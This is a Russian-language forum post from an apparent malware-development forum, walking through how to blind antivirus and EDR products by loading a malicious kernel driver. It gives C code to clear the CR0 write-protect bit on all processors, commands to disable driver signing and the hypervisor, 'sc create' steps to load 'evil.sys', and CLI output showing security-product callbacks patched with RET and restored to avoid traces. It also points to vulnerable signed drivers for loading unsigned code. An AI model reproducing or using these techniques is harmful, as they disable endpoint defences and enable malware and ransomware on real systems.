Малварь как искусство Уклоняемся от поведенческого детекта антивируса и EDR


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
1707574181719.png


Всем привет!

В этой статье была рассмотрена как архитектурно может работать EDR:Малварь как искусство - Архитектура антивирусов и EDR - систем
Рекомендую прочитать вначале статью выше.

В продолжение давайте поисследуем как можно обойти детект связанный с поведением на конкретном устройстве:

Вообще тут существуют два варианта обхода:

1)Использовать антихуки в своём приложении, этот метод относительно простой и описан уже здесь:Уроки - Разработка вирусов-32.Открываем врата ада
Или вот ещё проект:Малварь как искусство - Фреймворк для тестирования антивирусов

Но данный метод не позволяет 100% обойти защиту, т.к. многие AV используют коллбэки и мини-фильтры ядра.
Тут нужен второй способ, а вообще можно в комплексе использовать.)

2)Итак второй способ:

Этот способ заключается в удалении калбэков защитного решения в ядре.)

Долгое время Microsoft пыталась перенести и ограничить любой сторонний код ring0.
Это делается по понятным причинам, в основном чтобы не позволять сторонним разработчикам вмешиваться в код ядра и избегать предоставления им доступа к обходам защиты ядра KPP (Kernel Patch Protection).

Из-за этого производители EDR вынуждены использовать другие способы взаимодействия с ядром, а именно коллбэки и мини-фильтры.
Цель драйверов мини-фильтров заключается в перехвате запросов ввода/вывода файловой системы и расширении или замене нативных функциональностей.
Между тем, коллбэки необходимы для перехвата создания процессов/потоков и загрузки образов.

Итак моему мнению, лучший способ изучить тему - это начать с теории и перейти к чему-то осязаемому

Давайте попробуем на практике, что можно достичь с помощью зловредного драйвера.
, скомпилируйте его для x64, режим отладки.

Режим отладки включит операторы KdPrint и позволит нам наблюдать за поведением драйвера через (DebugView)[ ] от SysInternals или через удаленную сессию ядра WinDbg.

Успешная компиляция приведет к созданию двух бинарных файлов: интерфейса командной строки пользовательского режима evilcli.exe и самого драйвера evil.sys. Поскольку наш драйвер не подписан, перед установкой, необходимо включить тестовый режим из командной строки с повышенными правами с помощью Bcdedit.exe -set TESTSIGNING ON и перезагрузить машину.
Позже мы увидим, как доставить тот же самый драйвер в нормальном сценарии, без включения тестового режима.

CLI оборудован следующими опциями:

Код:
C:\Users\matteo\windows-ps-callbacks-experiments-master\evil-driver\x64\Debug>evilcli.exe

Использование: evilcli.exe <опции>

Опции:

-h Показать это сообщение.
-l Список адресов коллбэков уведомлений о процессах, потоках и загрузке образов.

<Коллбэки процессов>

-zp Обнулить массив коллбэков уведомлений о процессах (Режим ковбоя).
-dp <индекс> Удалить конкретный коллбэк уведомления о процессе (Режим красной команды).
-pp <индекс> Исправить конкретный коллбэк уведомления о процессе (Режим угрозы актера).
-rp <индекс> Вернуться к оригинальному коллбэку уведомления о процессе (Режим задумчивого ниндзя).

<Коллбэки потоков>

-zt Обнулить массив коллбэков уведомлений о потоках (Режим ковбоя).
-dt <индекс> Удалить конкретный коллбэк уведомления о потоке (Режим красной команды).
-pt <индекс> Исправить конкретный коллбэк уведомления о потоке (Режим угрозы актера).
-rt <индекс> Вернуться к оригинальному коллбэку уведомления о потоке (Режим задумчивого ниндзя).

<Коллбэки загрузки образов>

-zl Обнулить массив коллбэков уведомлений о загрузке образов (Режим ковбоя).
-dl <индекс> Удалить конкретный коллбэк уведомления о загрузке образа (Режим красной команды).
-pl <индекс> Исправить конкретный коллбэк уведомления о загрузке образа (Режим угрозы актера).
-rl <индекс> Вернуться к оригинальному коллбэку уведомления о загрузке образа (Режим задумчивого ниндзя).

Как видите опций много, поэтому я просто выделю возможность изменения/восстановления исправленного коллбэка с помощью команд rp или rt в зависимости от того, относится ли он к процессу или потоку.

Мы должны помнить, что эта битва ведется между двумя сущностями, работающими на одном и том же уровне ring0.
Так что, как предупреждение, зловредный драйвер будет успешен только на системах без включенного HyperV.

Если на системе включен HyperV, он обнаружит любые изменения в ядре или драйвере во время выполнения
и немедленно разрушит наши мечты синим экраном смерти System Service Exception BSOD.
Тем временем, чтобы продолжать играть с нашим драйвером, нам нужно отключить гипервизор с помощью bcdedit /set hypervisorlaunchtype off и перезагрузить систему.

Тем не менее, нам все еще нужно найти метод, чтобы наше изменение ядра могло сосуществовать с KPP, также известным как PatchGuard. Короче говоря, KPP пытается предотвратить любые модификации критически важных структур ядра, вызывая проверку на ошибки при любой попытке это сделать.
Тем не менее, эта проверка запускается несинхронизированными таймерами, как уже было задокументировано во многих местах, в частности, на и .
Мы увидим, как обойти PatchGuard чуть позже.)

Подавление WriteProtect


Препятствие, с которым нам предстоит столкнуться, заключается в том, что наши целевые коллбэки находятся в страницах памяти ядра только для чтения. И эти страницы явно не могут быть модифицированы нашим патчем.

Код:
lkd> !pte 0xfffff80267fdd670
                                           VA fffff80267fdd670
PXE at FFFF85C2E170BF80    PPE at FFFF85C2E17F0048    PDE at FFFF85C2FE0099F8    PTE at FFFF85FC0133FEE8
contains 0000000005108063  contains 0000000005109063  contains 0000000005219063  contains 09000000035C5021
pfn 5108      ---DA--KWEV  pfn 5109      ---DA--KWEV  pfn 5219      ---DA--KWEV  pfn 35c5      ----A--KREV

PTE действительно доступна только для чтения (флаг R в ----A--KREV), и если мы настолько упрямы, чтобы вмешиваться в это, мы столкнемся с синим экраном смерти (BSOD).

1707571722076.png


Ну, как же нам сделать нашу страницу доступной для записи? Наш святой Грааль - это регистр CR0, который является одним из других управляющих регистров, отвечающих за определение режима работы процессора и характеристик текущего потока. Бит номер 16 этого регистра - это флаг WP (Write Protect), который нам нужно сбросить. Затем мы "отравляем" 16-й бит CR0, используя следующий MDL (Memory Descriptor List) как структуру для представления разметки регистра.

C:
typedef union {
    struct {
        UINT64 protection_enable : 1;
        UINT64 monitor_coprocessor : 1;
        UINT64 emulate_fpu : 1;
        UINT64 task_switched : 1;
        UINT64 extension_type : 1;
        UINT64 numeric_error : 1;
        UINT64 reserved_1 : 10;
        UINT64 write_protect : 1;
        UINT64 reserved_2 : 1;
        UINT64 alignment_mask : 1;
        UINT64 reserved_3 : 10;
        UINT64 not_write_through : 1;
        UINT64 cache_disable : 1;
        UINT64 paging_enable : 1;
    };

    UINT64 flags;
} cr0;

И удаляем флаг защиты от записи из CR0.

C:
void CR0_WP_OFF_x64()
{
    cr0 mycr0;
    mycr0.flags = __readcr0();
    mycr0.write_protect = 0;
    __writecr0(mycr0.flags);
}


Не забывая применить изменение на каждом логическом процессоре:

C:
int LogicalProcessorsCount = KeQueryActiveProcessorCount

for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++)
{
    KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex));
    CR0_WP_OFF_x64();
    KeRevertToUserAffinityThreadEx(oldAffinity);
}

Как-же обойти PatchGuard:

Мы можем построить нашу стратегию модификации структуры данных ядра вокруг следующих пунктов:
  1. Очистить бит WP на странице только для записи на каждом ядре
  2. Сделать наше дело
  3. Восстановить бит WP
Мы могли бы достичь той же синхронизации примитивов:

Метод заключается в использовании Deferred Procedure Calls (DPC), механизма в ядре Windows, который позволяет отложить выполнение определённых функций до более подходящего времени, когда уровень прерываний (IRQL) позволяет безопасное выполнение этих задач. Используя DPC, мы можем синхронизировать выполнение кода на всех процессорах системы, чтобы временно отключить флаг защиты от записи (WP) в регистре управления CR0 каждого процессора. Это позволяет модифицировать защищённые области памяти ядра, не вызывая обнаружения PatchGuard.

Как-же загрузить вредоносоный драйвер ?


Что если законно подписанный драйвер уязвим для уязвимости типа Write-What-Where, которая позволяет нам перезаписывать пространство памяти ядра и отключить принудительную проверку подписи драйверов?

На протяжении многих лет это был случай с известным уязвимым драйвером Gigabyte, который использовался для различных целей, от отключения античит-систем видеоигр до вымогательского ПО.
Можно использовать маперы, которые описаны здесь:Уроки - Как я RootKit загружал или же как загрузить драйвер без подписи

Давайте перейдем к практике и попробуем методику описанную выше на примерах:

1)Загрузите наш вредоносный драйвер, сделать это можно через маперы, но для теста можно временно отключить проверки цифровой подписи и т.д.:

Код:
sc create evil type= kernel binPath= c:\path\to\file\evildriver.sys
sc start evil

2)Взаимодействуйте с зловредным драйвером, проверяя зарегистрированные коллбэки в системе:

C:
C:\Users\matteo\Desktop\Debug>evilcli.exe -l
[00] 0xfffff8012154a340 (ntoskrnl.exe + 0x34a340)
[01] 0xfffff801250f4dc0 (cng.sys + 0x14dc0)
[02] 0xfffff80125548610 (klupd_klif_arkmon.sys + 0x18610)
[03] 0xfffff80124f3d870 (ksecdd.sys + 0x1d870)
[04] 0xfffff80126390960 (tcpip.sys + 0x60960)
[05] 0xfffff801269ed930 (iorate.sys + 0xd930)
[06] 0xfffff80125067fc0 (CI.dll + 0x77fc0)
[07] 0xfffff80127161600 (klflt.sys + 0x11600)
[08] 0xfffff801272189d0 (dxgkrnl.sys + 0x89d0)
[09] 0xfffff801283d47f0 (kldisk.sys + 0x47f0)
[10] 0xfffff80127ac9e90 (vm3dmp.sys + 0x9e90)
[11] 0xfffff801294e3ce0 (peauth.sys + 0x43ce0)
[12] 0xfffff8012531f9a0 (mssecflt.sys + 0x1f9a0)

Отключите нужный коллбэк, разместив инструкцию RET (C3) на том же смещении. Таким образом, коллбэк просто вернётся к вызывающему и пропустит весь последующий код.

Не используйте другие опции (-z или -d), так как они могут повредить систему.

Код:
C:\Users\matteo\Desktop\Debug>evilcli.exe -p 7
Patching index: 7 with a RET (0xc3)

3)Восстановить коллбэк в его исходное состояние после выполнения нужных действий.

Хоть у большинства антивирусов/EDR нет контроля целостности кода, но лучше перестраховаться, особенно чтобы не оставить следов.

Код:
C:\Users\matteo\Desktop\Debug>evilcli.exe -r 7
Rolling back patched index: 7 to the original values

По мотивам этой статьи:
 
Верх Низ